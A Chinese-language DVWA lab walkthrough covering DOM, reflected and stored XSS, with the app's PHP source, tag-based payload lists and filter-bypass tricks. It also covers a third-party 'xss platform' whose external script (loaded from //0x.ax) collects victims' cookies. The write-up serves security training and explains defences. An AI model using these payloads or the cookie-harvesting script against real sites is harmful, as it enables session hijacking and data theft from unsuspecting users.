DVWA------XSS(全)

这篇具有很好参考价值的文章主要介绍了DVWA------XSS(全)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、XSS

1.简介

2.XSS的原理

3.XSS的攻击方式

4.XSS的危害

5.常见XSS攻击方式

6.常见基本过滤方法

7.XSS的防御措施

8.xss平台

二、XSS(DOM)

1.LOW

 2.medium

 3.High

 4.impossible

三、XSS (Reflected)反射型

1.Low

 2.Medium

3.high

 4.impossible

四、XSS (Stored)存储型

1.Low

 2.Medium

3.High

4.Impossible 


一、XSS

1.简介

        XSS 又称CSS(Cross Site Scripting)或跨站脚本攻击,攻击者在网页中插入由JavaScript编写的恶意代码,当用户浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。

2.XSS的原理

  • 攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
  • 诱使受害者打开受到攻击的服务器URL。
  • 受害者在Web浏览器中打开URL,恶意脚本执行。

3.XSS的攻击方式

​XSS攻击可分为三种:分别为反射型(Reflected),存储型(Stored)和DOM型。

  • 反射型xss:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功。(经后端,不经数据库)
  • 存储型XSS:将用户输入的数据存储在服务器端。用户访问了带有xss得页面代码后,产生安全问题。(经后端和数据库)
  • DOM XSS:通过修改页面的DOM节点形成的XSS。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。(不经过后端,是基于文档对象模型的一种漏洞,是通过url传入参数去控制触发的)

4.XSS的危害

1.挂马
2.盗取用户Cookie。
3.DOS(拒绝服务)客户端浏览器。
4.钓鱼攻击,高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为,甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题

5.常见XSS攻击方式

1.scirpt 标签

<script> 标签用于定义客户端脚本,比如 JavaScript。

<script>alert(1);</script>
<script>alert("xss");</script>

2.img 标签

<img> 标签定义 HTML 页面中的图像。

<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>

3.input 标签

<input> 标签规定了用户可以在其中输入数据的输入字段。

onfocus 事件在对象获得焦点时发生:
<input onfocus=alert(1);>

竞争焦点,从而触发onblur事件:

<input onblur=alert(1) autofocus><input autofocus>

input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

<input onfocus="alert(1);" autofocus>

" οnclick=alert(1)>        这样需要点击一下输入框<br>
" onmouseover=alert(1)>    需要鼠标划过输入框<br>

4.details 标签

<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:

<details ontoggle=alert(1);>

使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:

<details open ontoggle=alert(1);>

5.svg 标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。
<svg onload=alert(1);>

6.select 标签

<select> 标签用来创建下拉列表。
<select onfocus=alert(1)></select

通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select onfocus=alert(1) autofocus>

7.iframe 标签

<iframe> 标签会创建包含另外一个文档的内联框架。

<iframe onload=alert(1);></iframe>

8.video 标签

<video> 标签定义视频,比如电影片段或其他视频流。

<video><source onerror=alert(1)>

9.audio 标签

<audio> 标签定义声音,比如音乐或其他音频流。

<audio src=x  onerror=alert(1);>

10.body 标签

<body> 标签定义文档的主体。

<body onload=alert(1);>

6.常见基本过滤方法

1.空格过滤

当空格被过滤了时,我们可以用 / 来代替空格:

/**/,注释符号绕过;/符号绕过;

<img/src="x"/onerror=alert(1);>

2.引号过滤

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

<img src=x onerror=alert(`xss`);>

3.括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

4.关键字过滤

大小写绕过

<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>

双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

<sc<script>ript>alert('xss')</script>
<imimgg srsrcc=x onerror=alert(1);>

5.字符串拼接绕过

利用eval()函数

与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。

<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号

7.XSS的防御措施

(1)编码:对用户输入的数据进行HTML Entity编码

(2)过滤:移除用户上传的DOM属性,如onerror等,移除用户上传的style节点,script节点,iframe节点等。

(3)校正:避免直接对HTML Entity编码,使用DOM Prase转换,校正不配对的DOM标签。

8.xss平台

https://xss.pt

1.一个xss平台来收集cookie,加以利用。

 2.对于反射型xss可构造链接,当用户点击时,用户cookie被发送到xss平台。

二、XSS(DOM)

1.LOW

源码

<?php

# No protections, anything goes

?> 

发现并没有做任何过滤

构造xss语句,看到出现弹窗,代码执行成功,说明存在xss漏洞。

<script>alert('xss');</script>

DVWA------XSS(全)

查看页面代码,发现xss代码以及插入并执行了。

DVWA------XSS(全)

 xss平台+DOM的xss联动

DVWA------XSS(全)

打开代码界面,查看xss代码语句。

DVWA------XSS(全)

 复制到dvwa的url中DVWA------XSS(全)

 返回xss平台,可以看到我点击dvwa的信息。

DVWA------XSS(全)

 2.medium

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

 查看源代码,发现对<script进行了过滤,注入时会默认跳转到English页面。

DVWA------XSS(全)

 既然不能使用script,那么我们换一种标签,使用img进行尝试,发现还是没有出现弹窗。

DVWA------XSS(全)

 查看页面代码,发现我们构造的语句已经被插入到了value当中,不能成功执行的原因是select标签中只允许内嵌option标签,而option标签是不能嵌套我们构造的img标签的,因此我们需要先将前面的select标签和option标签都闭合后才能使用img标签.DVWA------XSS(全)

 当我们把闭合后的img构造语句执行后,发现出现弹窗,说明存在xss注入漏洞。

</select></option><img src=1 onerror=alert('xss');>

DVWA------XSS(全)

 我们继续和xss平台梦幻联动一波

DVWA------XSS(全)

DVWA------XSS(全)DVWA------XSS(全)

 3.High

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

 查看源代码,可以知道此处使用了白名单过滤,只允许 传的 default值 为 French English German Spanish 其中一个。

我们只能找方法绕过服务器端的处理,直接在本地运行我们构造的语句,可以通过“#”来注释掉后面的内容,因为URL栏中的“#”之后的内容不会被发送到服务器当中去,不会经过JS的过滤,只在客户端显示,可以直接与浏览器进行交互。

#<script>alert('xss');</script>

DVWA------XSS(全)

 xss平台也是可以的。

#<sCRiPt sRC=//0x.ax/Op6A></sCrIpT>

DVWA------XSS(全)

 DVWA------XSS(全)

 4.impossible

查看源代码,发现什么也没有,在客户端上处理,不会在进行URL解码。

<?php

# Don't need to do anything, protction handled on the client side

?> 

三、XSS (Reflected)反射型

1.Low

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

发现没有任何防御,所以我们直接输入<script>alert('xss')</script>

DVWA------XSS(全)

 同样xss平台也可以实现  url输入<sCRiPt sRC=//0x.ax/Op6A></sCrIpT>

DVWA------XSS(全)

 2.Medium

 <?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

发现源码过滤了<script>,可以通过大写字母,双写,输入其他可执行弹窗的标签等方法来实现攻击.

如果用<script>alert('xss')</script>会直接显示alert('xss')

DVWA------XSS(全)

 大写绕过    <Script>alert('xss')</script>DVWA------XSS(全)

 双写绕过  <sc<script>ript>alert('xss')</script>

DVWA------XSS(全)

 标签img   <img src=1 οnerrοr=alert('xss');>

DVWA------XSS(全)

3.high

 <?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>


 查看源代码,发现preg_replace 函数,是执行一个正则表达式的搜索和替换,直接将所有的<script>无论大小写都进行了过滤,但并未对其他标签进行限制,所以我们继续使用img等标签来进xss利用。

<img src=1 οnerrοr=alert('xss');>

DVWA------XSS(全)

 4.impossible

 <?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码中,增加了对token的验证来防止CSRF攻击,然后使用htmlspecialchar函数,把字符转换为实体,防止浏览器将其作为HTML元素,过滤了我们输入的任何包含脚本标记语言。从源头上把跨站脚本攻击的可能性降到了最低。

DVWA------XSS(全)

四、XSS (Stored)存储型

1.Low

 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

查看源代码,发现使用mysqli_real_escape_string函数来对string中的特殊符号进行转义处理,但并未对我们输入的Name和Message进行xss的过滤。

因此我们只需要直接输入JS代码进行攻击即可得到弹窗,攻击成功。

F12查看页面找到name的输入框,把可输入内容maxlength改大一些。(name也可以随意输入)

DVWA------XSS(全)

<script>alert(1)</script>

DVWA------XSS(全)

 Sign登录触发存储型xss

DVWA------XSS(全)

 xss平台  <sCRiPt sRC=//0x.ax/Op6A></sCrIpT>

DVWA------XSS(全)

DVWA------XSS(全)

 2.Medium

 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

查看源代码,发现将Message所有可能xss攻击的标签都进行了转义或过滤,但对Name仅仅限制了<script>的标签,因此我们依旧可以在Name中使用大写、双写、使用其他标签等方法来进行注入.

<Script>alert(1)</script> 

DVWA------XSS(全)

3.High

 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>
  • 查看代码,发现在Medium的基础上对Name的输入进行了<script>的转义限制,因此我们只需要换一个同样能进行弹窗的标签即可.
<img src=1 onerror=alert('2');>

DVWA------XSS(全)文章来源地址https://www.toymoban.com/news/detail-460598.html

4.Impossible 

 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>
  •  查看源代码,发现使用内置的PHP函数来转义任何改变输入行为的值,并且使用token验证来防止CSRF攻击。

到了这里,关于DVWA------XSS(全)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • DVWA------XSS(全)

    一、XSS 1.简介 2.XSS的原理 3.XSS的攻击方式 4.XSS的危害 5.常见XSS攻击方式 6.常见基本过滤方法 7.XSS的防御措施 8.xss平台 二、XSS(DOM) 1.LOW  2.medium  3.High  4.impossible 三、XSS (Reflected)反射型 1.Low  2.Medium 3.high  4.impossible 四、XSS (Stored)存储型 1.Low  2.Medium 3.High 4.Impossible       

    2024年02月06日
    浏览(39)
  • dvwa xss通关

    选择难度: 直接用下面JS代码尝试: 通关成功: 直接下面代码尝试后失败 发现这段代码直接被输出: 尝试修改script标签的字母大小写,做大小写绕过: 通关成功:

    2024年02月10日
    浏览(36)
  • web-xss-dvwa

    目录 xss(reflected) low medium high xss(store) low medium high xss(dom) low medium  high 没有什么过滤,直接用最普通的标签就可以了 大小写绕过 双写绕过 过滤规则: $name = preg_replace( ‘/(. )s(. )c(. )r(. )i(. )p(. )t/i’, ‘’, $_GET[ ‘name’ ] ); 对任何模式的script都过滤了。 ①换标签进行过滤

    2024年02月13日
    浏览(35)
  • XSS 攻击是什么?怎么验证是否有XSS攻击漏洞?

    XSS(跨站脚本,Cross-Site Scripting)攻击是一种网络攻击,攻击者利用网站漏洞将恶意脚本注入用户的浏览器,从而在用户浏览网页时执行恶意代码。这种攻击可能造成用户敏感信息泄露、钓鱼、欺诈等安全问题。 验证是否有 XSS 攻击漏洞的方法: 手动测试:通过对输入框、

    2024年02月11日
    浏览(57)
  • 安全攻击 --- XSS攻击

    (1)简介 OWASP TOP 10 之一,XSS被称为跨站脚本攻击(Cross-Site-Scripting) 主要基于 JavaScript(JS) 完成攻击行为 XSS通过精心构造JS代码注入到网页中,并由浏览器解释运行这段代码,以达到恶意攻击的效果。用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来,用户浏览器解

    2024年02月13日
    浏览(50)
  • XSS攻击(1), 测试XSS漏洞, 获取cookie

    一, 概念: XSS(Cross-Site Scripting), 跨站攻击脚本, XSS漏洞发生在前端, 依赖于浏览器的解析引擎, 让前端执行攻击代码. XSS其实也算注入类的攻击, XSS代码注入需要有JavaScript编程基础. 二, 目的: XSS(跨站脚本)攻击的目的多种多样,攻击者可以利用这种漏洞实施各种恶意行为。以下

    2024年02月07日
    浏览(50)
  • 理解什么是sql注入攻击 + xss攻击 + cors 攻击

    SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串, 最终达到欺骗服务器执行恶意的SQL命令 。 SQL注入攻击的总体思路: 寻找到SQL注入的位置 判断服务器类型和后台数据库类型 针对不同的服务器和数据库特点进行SQL注入攻击 SQL注入攻击实例: 比如

    2023年04月18日
    浏览(75)
  • DVWA简介及安装

    DVWA(Damn Vulnerable Web Application)         是一个 PHP/MySQL Web 应用程序,非常容易受到攻击。 其主要目标是帮助安全专业人员在法律环境中测试他们的技能和工具,帮助 Web 开发人员更好地了解保护 Web 应用程序的过程,并帮助学生和教师在受控课堂上了解 Web 应用程序安全

    2023年04月08日
    浏览(22)
  • Web安全测试(五):XSS攻击—存储式XSS漏洞

    结合内部资料,与安全渗透部门同事合力整理的安全测试相关资料教程,全方位涵盖电商、支付、金融、网络、数据库等领域的安全测试,覆盖Web、APP、中间件、内外网、Linux、Windows多个平台。学完后一定能成为安全大佬! 全部文章请访问专栏: 《全栈安全测试教程(0基础

    2024年02月10日
    浏览(72)
  • CSRF 攻击和 XSS 攻击分别代表什么?如何防范?

    一:PHP         1. CSRF 攻击和 XSS 攻击分别代表什么?                 1.CSRF攻击                 1.概念:                 CSRF(Cross-site request forgery)跨站请求伪造,用户通过跨站请求,以合法身份做非法的事情                 2.原理:            

    2024年02月13日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包